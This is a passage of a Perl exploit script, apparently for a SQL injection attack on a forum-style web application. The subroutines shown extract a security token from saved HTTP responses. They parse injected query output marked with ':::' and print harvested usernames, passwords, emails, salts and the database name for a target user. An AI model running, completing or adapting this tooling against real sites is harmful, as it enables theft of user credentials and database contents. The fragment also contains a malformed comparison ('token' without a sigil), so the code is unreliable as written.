sub banner
{
print "[-] Exploit not successful!\n";
if(token eq "1409563107-55b86c8f60ad36a41dedff21b06bdc8c9d949303")
{
print "[i] Try to log in and log out from other any other sessions and run the exploit again.\n\n";
}
}
sub printout
{
my ($tofind) = @_ ;
if($tofind =~ /username/)
{
print "[+] User($ARGV[4]) Username: ";
}
elsif($tofind =~ /password/)
{
print "[+] User($ARGV[4]) Password: ";
}
elsif($tofind =~ /database/)
{
print "[+] Database Name: ";
}
elsif($tofind =~ /email/)
{
print "[+] User($ARGV[4]) Email: ";
}
elsif($tofind =~ /salt/)
{
print "[+] User($ARGV[4]) Salt: ";
}
}
sub dumping
{
my ($filename, $par) = @_ ;
open(MYFILE,"< ", $filename);
my @words;
while(<MYFILE>)
{
chomp;
@words = split(' ');
if($par eq "token")
{
my $ctrl = "n";
foreach my $word (@words)
{
if($word =~ /SECURITYTOKEN/)
{
$ctrl = "y";
}
if($ctrl eq "y" and $word !~ /=/ and $word !~ /SECURITYTOKEN/)
{
$word =~ tr/;//d; $word =~ tr/\"//d;
return $word;
break;
}
}
}
elsif($par eq "sql")
{
foreach my $word (@words)
{
if($word =~ /:::/)
{
$word =~ tr/::://d;
print "$word";
}
}
}
else
{
my $ctrl2 = "n";
foreach my $word (@words)
{
if($word =~ /Location:/)
{
$ctrl2 = "y";
}
if($ctrl2 eq "y" and $word !~ /Location:/)
{
return $word;
}
}
}
}
close(MYFILE);
}